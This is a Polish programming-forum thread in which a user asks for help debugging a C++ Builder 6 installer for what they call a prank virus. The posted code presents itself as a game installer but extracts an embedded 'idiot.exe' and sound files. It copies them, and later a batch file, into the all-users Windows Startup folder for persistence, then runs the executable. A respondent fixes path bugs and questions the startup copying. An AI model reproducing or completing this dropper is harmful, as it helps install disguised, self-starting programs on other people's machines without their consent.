• Najnowsze pytania
  • Bez odpowiedzi
  • Zadaj pytanie
  • Kategorie
  • Tagi
  • Zdobyte punkty
  • Ekipa ninja
  • IRC
  • FAQ
  • Regulamin
  • Książki warte uwagi

c++ builder6 Normalnie aplikacja działa, ale stworzyłem instalator...

Object Storage Arubacloud
–3 głosów
324 wizyt
pytanie zadane 31 sierpnia 2019 w C i C++ przez fff Gaduła (3,950 p.)
edycja 2 września 2019 przez fff

c++ builder6

 

Normalnie aplikacja działa, ale stworzyłem instalator, ale 1) po uruchomieniu przy autostarcie jest błąd

2)po instalacji ShellExecute też nie działa

 

wszystkie pliki do pobrania udostępniłem na stronie wariant Instalator BETA (dla pomocnych z forum.pasja-informatyki) 

 

haslo do paczki: Pasja-inf88

+na win7

+sama aplikacja w folderze plik

 

!!jest to aplikacja prank {(żart)} virus

 

jak jeszcze jakieś pytania to napisz

 

Z góry dzięki za pomoc

 

URUCHOM  c++ builder6 jako administrator, później otwórz plik .bpr


//---------------------------------------------------------------------------

#include <vcl.h>
#pragma hdrstop

#include "Unit1.h"
#include <memory>
#include "application.rh"

//---------------------------------------------------------------------------
#pragma package(smart_init)
#pragma resource "*.dfm"
TForm1 *Form1;
//---------------------------------------------------------------------------
__fastcall TForm1::TForm1(TComponent* Owner)
        : TForm(Owner)
{
}
//---------------------------------------------------------------------------

//--------------------------------
void __fastcall ExtractExe(unsigned short ID, AnsiString FileName)
{
 HRSRC rsrc = FindResource(HInstance, MAKEINTRESOURCE(ID), RT_RCDATA);
 if(!rsrc)
 {
  Application->MessageBox("Nie można przeprowadzić operacji. Taki zasób nie istnieje!",
                          "BŁĄD!", MB_OK | MB_ICONSTOP);
  return;
 }

 DWORD Size = SizeofResource(HInstance, rsrc);
 HGLOBAL MemoryHandle = LoadResource(HInstance, rsrc);

 if(MemoryHandle == NULL) return;

 BYTE *MemPtr = (BYTE *)LockResource(MemoryHandle);

 std::auto_ptr<TMemoryStream>stream(new TMemoryStream);
 stream->Write(MemPtr, Size);
 stream->Position = 0;

 TMemoryStream *Ms = new TMemoryStream;
 Ms->Position = 0;
 Ms->LoadFromStream(stream.get());
 Ms->Position = 0;
 Ms->SaveToFile(FileName);
 Ms->Free();

CopyFile("C:\\gra88\\idiot.exe", "C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\idiot.exe", false);
CopyFile("C:\\gra88\\music 1.wav", "C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\music 1.wav", false);
CopyFile("C:\\gra88\\hahaha.mp3", "C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\hahaha.mp3", false);

}
//--------------------------------
void __fastcall TForm1::Button1Click(TObject *Sender)
{


CreateDir("C:\\gra88");

ExtractExe(ID_APPL1, "C:\\gra88\\idiot.exe");
ExtractExe(ID_APPL2, "C:\\gra88\\id1.jpg");
ExtractExe(ID_APPL3, "C:\\gra88\\ikona [128x128].ico");
ExtractExe(ID_APPL4, "C:\\gra88\\hahaha.mp3");
ExtractExe(ID_APPL5, "C:\\gra88\\music 1.wav");


   Application->MessageBox("Zainstalowano grę pomyslnie!",
                          "INFO", MB_OK | MB_ICONASTERISK);

  //Sleep(3000);
  //ShellExecute( NULL, "open", "plik\idiot.exe", NULL, NULL, SW_SHOW);
  //ShellExecute( NULL, "C:\\plik\\idiot.exe", NULL, NULL, SW_SHOW);
  ShellExecute( NULL, "open", "C:\\plik\\idiot.exe", NULL, "C:\\", SW_SHOW);
  WinExec("C:\\plik\\idiot.exe", SW_SHOW);
}                                           
//---------------------------------------------------------------------------

 
2
komentarz 31 sierpnia 2019 przez adrian17 Ekspert (344,860 p.)
Nie wiem, czy ktokolwiek tutaj będzie w stanie pomóc z 17-letnim IDE :/
komentarz 1 września 2019 przez j23 Mędrzec (194,920 p.)

@fff, a ten kod to po co dałeś?

komentarz 1 września 2019 przez fff Gaduła (3,950 p.)
pomylułem się niee ten chciałem
komentarz 1 września 2019 przez j23 Mędrzec (194,920 p.)
A jaki chciałeś?

Nie łudź się, że będzie spore grono chętnych, by odpalić na swoim systemie aplikację z nieznanego źródła.
komentarz 1 września 2019 przez fff Gaduła (3,950 p.)
masz i kod

1 odpowiedź

0 głosów
odpowiedź 2 września 2019 przez j23 Mędrzec (194,920 p.)
edycja 2 września 2019 przez j23
  ShellExecute(..., "C:\plik\idiot.exe",...);
  WinExec("C:\plik\idiot.exe",...);

W C/C++ (i nie tylko) znak \ jest znakiem specjalnym (escape character), dlatego powinieneś go dać podwójnie.

Nie rozumiem, dlaczego zrobiłeś ten błąd, skoro w innych częściach kodu masz poprawne ścieżki (nawet tą samą).

 

    std::auto_ptr<TMemoryStream> stream(new TMemoryStream);
    stream->Write(MemPtr, Size);
    stream->Position = 0;

    TMemoryStream* Ms = new TMemoryStream;
    Ms->Position = 0;
    Ms->LoadFromStream(stream.get());
    Ms->Position = 0;
    Ms->SaveToFile(FileName);
    Ms->Free();

Po co strumień Ms, skoro masz już stream? Nie wystarczy samo:

stream->SaveToFile(FileName);

?

 

Po te wywołania CopyFile w ExtractExe?

komentarz 2 września 2019 przez fff Gaduła (3,950 p.)

zmieniłem kod na 

//---------------------------------------------------------------------------

#include <vcl.h>
#pragma hdrstop

#include "Unit1.h"
#include <memory>
#include "application.rh"

//---------------------------------------------------------------------------
#pragma package(smart_init)
#pragma resource "*.dfm"
TForm1 *Form1;
//---------------------------------------------------------------------------
__fastcall TForm1::TForm1(TComponent* Owner)
        : TForm(Owner)
{
}
//---------------------------------------------------------------------------

//--------------------------------
void __fastcall ExtractExe(unsigned short ID, AnsiString FileName)
{
 HRSRC rsrc = FindResource(HInstance, MAKEINTRESOURCE(ID), RT_RCDATA);
 if(!rsrc)
 {
  Application->MessageBox("Nie można przeprowadzić operacji. Taki zasób nie istnieje!",
                          "BŁĄD!", MB_OK | MB_ICONSTOP);
  return;
 }

 DWORD Size = SizeofResource(HInstance, rsrc);
 HGLOBAL MemoryHandle = LoadResource(HInstance, rsrc);

 if(MemoryHandle == NULL) return;

 BYTE *MemPtr = (BYTE *)LockResource(MemoryHandle);

 std::auto_ptr<TMemoryStream>stream(new TMemoryStream);
 stream->Write(MemPtr, Size);
 stream->Position = 0;

 TMemoryStream *Ms = new TMemoryStream;
 Ms->Position = 0;
 Ms->LoadFromStream(stream.get());
 Ms->Position = 0;
 Ms->SaveToFile(FileName);
 Ms->Free();

/*CopyFile("C:\\gra88\\idiot.exe", "C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\idiot.exe", false);
CopyFile("C:\\gra88\\music 1.wav", "C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\music 1.wav", false);
CopyFile("C:\\gra88\\hahaha.mp3", "C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\hahaha.mp3", false);*/

CopyFile("plik\\start.bat", "C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\start.bat", false);
}
//--------------------------------
void __fastcall TForm1::Button1Click(TObject *Sender)
{


CreateDir("C:\\Program Files\\gra88");

ExtractExe(ID_APPL1, "C:\\Program Files\\gra88\\idiot.exe");
ExtractExe(ID_APPL2, "C:\\Program Files\\gra88\\id1.jpg");
ExtractExe(ID_APPL3, "C:\\Program Files\\gra88\\ikona [128x128].ico");
ExtractExe(ID_APPL4, "C:\\Program Files\\gra88\\hahaha.mp3");
ExtractExe(ID_APPL5, "C:\\Program Files\\gra88\\music 1.wav");


   Application->MessageBox("Zainstalowano grę pomyslnie!",
                          "INFO", MB_OK | MB_ICONASTERISK);

  //Sleep(3000);
  //ShellExecute( NULL, "open", "plik\start.bat", NULL, NULL, SW_SHOW);

 // ShellExecute( NULL, "open", "plik\\start.bat", NULL, NULL, SW_SHOW);
  ShellExecute( NULL, "open", "plik\\idiot.exe", NULL, "C:\\", SW_SHOW);

  ShellExecute( NULL, "open", "C:\\Program Files\\gra88\\idiot.exe", NULL, "C:\\", SW_SHOW);

  WinExec("plik\\start.bat", SW_SHOW);

}
//---------------------------------------------------------------------------

 

i pokazuje się bład

aplikacja się otwiera, ale nie działa, ani przycisk, ani muzyka.

komentarz 2 września 2019 przez j23 Mędrzec (194,920 p.)

Wiesz, że trzeba uprawnień administratorskich, żeby móc cokolwiek stworzyć w katalogu Program Files?

Co jest w start.bat?

Generalnie leży u Ciebie sprawdzanie błędów. Pewnie błąd by wyszedł po wywołaniu CreateDir.

Oczywiście tych bezsensów z kodu nie usunąłeś...

 

komentarz 2 września 2019 przez fff Gaduła (3,950 p.)

przecież plik xinstalacja_programu.exe ma uprawnienia administratora kiedy tworzy się plik w której nazwie jest zawarte słowo instalacja../

komentarz 2 września 2019 przez j23 Mędrzec (194,920 p.)
Że co?!

Podobne pytania

–1 głos
1 odpowiedź 256 wizyt
pytanie zadane 26 lutego 2022 w Sieci komputerowe, internet przez alpha.netrunner Gaduła (4,690 p.)
0 głosów
1 odpowiedź 1,808 wizyt
pytanie zadane 22 marca 2018 w C i C++ przez Haggins Nowicjusz (220 p.)
0 głosów
0 odpowiedzi 2,834 wizyt

92,573 zapytań

141,423 odpowiedzi

319,645 komentarzy

61,959 pasjonatów

Motyw:

Akcja Pajacyk

Pajacyk od wielu lat dożywia dzieci. Pomóż klikając w zielony brzuszek na stronie. Dziękujemy! ♡

Oto polecana książka warta uwagi.
Pełną listę książek znajdziesz tutaj.

Akademia Sekuraka

Kolejna edycja największej imprezy hakerskiej w Polsce, czyli Mega Sekurak Hacking Party odbędzie się już 20 maja 2024r. Z tej okazji mamy dla Was kod: pasjamshp - jeżeli wpiszecie go w koszyku, to wówczas otrzymacie 40% zniżki na bilet w wersji standard!

Więcej informacji na temat imprezy znajdziecie tutaj. Dziękujemy ekipie Sekuraka za taką fajną zniżkę dla wszystkich Pasjonatów!

Akademia Sekuraka

Niedawno wystartował dodruk tej świetnej, rozchwytywanej książki (około 940 stron). Mamy dla Was kod: pasja (wpiszcie go w koszyku), dzięki któremu otrzymujemy 10% zniżki - dziękujemy zaprzyjaźnionej ekipie Sekuraka za taki bonus dla Pasjonatów! Książka to pierwszy tom z serii o ITsec, który łagodnie wprowadzi w świat bezpieczeństwa IT każdą osobę - warto, polecamy!

...